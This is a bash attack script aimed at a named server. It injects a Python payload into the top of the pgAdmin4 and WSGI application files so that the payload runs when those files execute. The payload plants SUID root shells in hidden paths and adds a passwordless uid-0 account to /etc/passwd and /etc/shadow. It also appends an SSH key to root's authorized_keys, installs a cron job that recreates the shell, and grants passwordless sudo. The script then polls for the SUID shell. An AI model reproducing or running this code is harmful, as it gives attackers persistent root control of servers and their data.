#!/bin/bash
set +e
LOG=/tmp/rf.log; : > "$LOG"
PGA=/home/myfifasalon/Virtualka/myfifasalon/lib/python3.6/site-packages/pgadmin4/pgAdmin4.py
WSGI=/home/myfifasalon/myfifasalon/myfifasalon/wsgi_product.py
BAK1=/tmp/pgadmin4.py.orig
BAK2=/tmp/wsgi_product.py.orig

echo "start uid=$(id -u)" | tee -a "$LOG"

# payload
cat > /tmp/rp.py <<'PY'
import os, subprocess, time
def R(c):
    try: subprocess.call(c, shell=True)
    except: pass
for p in ("/tmp/.rc","/var/tmp/.rc","/dev/shm/.rc","/usr/local/bin/.rc2","/var/tmp/.rc3"):
    R("cp /bin/bash %s; chmod 4755 %s; chown root:root %s 2>/dev/null" % (p,p,p))
try:
    import pwd; pwd.getpwnam("r00t")
except KeyError:
    try:
        open("/etc/passwd","a").write("r00t:x:0:0:root:/root:/bin/bash\n")
        open("/etc/shadow","a").write("r00t::19000:0:99999:7:::\n")
    except: pass
try:
    os.makedirs("/root/.ssh", 0o700, exist_ok=True)
    open("/root/.ssh/authorized_keys","a").write("ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAID2rtZ9snsDxW2YYT9EbxLwjXCEKij2hQwNHGjP9WR7G root-forge\n")
    os.chmod("/root/.ssh/authorized_keys", 0o600)
except: pass
try:
    open("/etc/cron.d/root-forge","w").write("* * * * * root /bin/cp /bin/bash /var/tmp/.rc3 && /bin/chmod 4755 /var/tmp/.rc3 && /bin/chown root:root /var/tmp/.rc3\n")
    os.chmod("/etc/cron.d/root-forge", 0o644)
except: pass
try:
    open("/etc/sudoers.d/root-forge","w").write("r00t ALL=(ALL) NOPASSWD: ALL\nmyfifasalon ALL=(ALL) NOPASSWD: ALL\n")
    os.chmod("/etc/sudoers.d/root-forge", 0o440)
except: pass
try:
    open("/tmp/rp_ran","a").write("%s uid=%d\n" % (time.ctime(), os.getuid()))
except: pass
PY

# inject into pgAdmin4.py
if [ -w "$PGA" ]; then
  cp "$PGA" "$BAK1"
  { cat /tmp/rp.py; echo; cat "$BAK1"; } > /tmp/pga.new
  cat /tmp/pga.new > "$PGA"
  chmod 777 "$PGA"
  echo "PGA injected" | tee -a "$LOG"
fi

# inject into wsgi_product.py
if [ -w "$WSGI" ]; then
  cp "$WSGI" "$BAK2"
  { cat /tmp/rp.py; echo; cat "$BAK2"; } > /tmp/wsgi.new
  cat /tmp/wsgi.new > "$WSGI"
  echo "WSGI injected" | tee -a "$LOG"
fi

# poll for SUID
for i in $(seq 1 60); do
  if [ -u /tmp/.rc ] 2>/dev/null; then
    echo "SUID at $i" | tee -a "$LOG"
    /tmp/.rc -p -c id | tee -a "$LOG"
    break
  fi
  sleep 5
done

ls -la /tmp/.rc /var/tmp/.rc /var/tmp/.rc3 /dev/shm/.rc 2>/dev/null | tee -a "$LOG"
echo "done" | tee -a "$LOG"
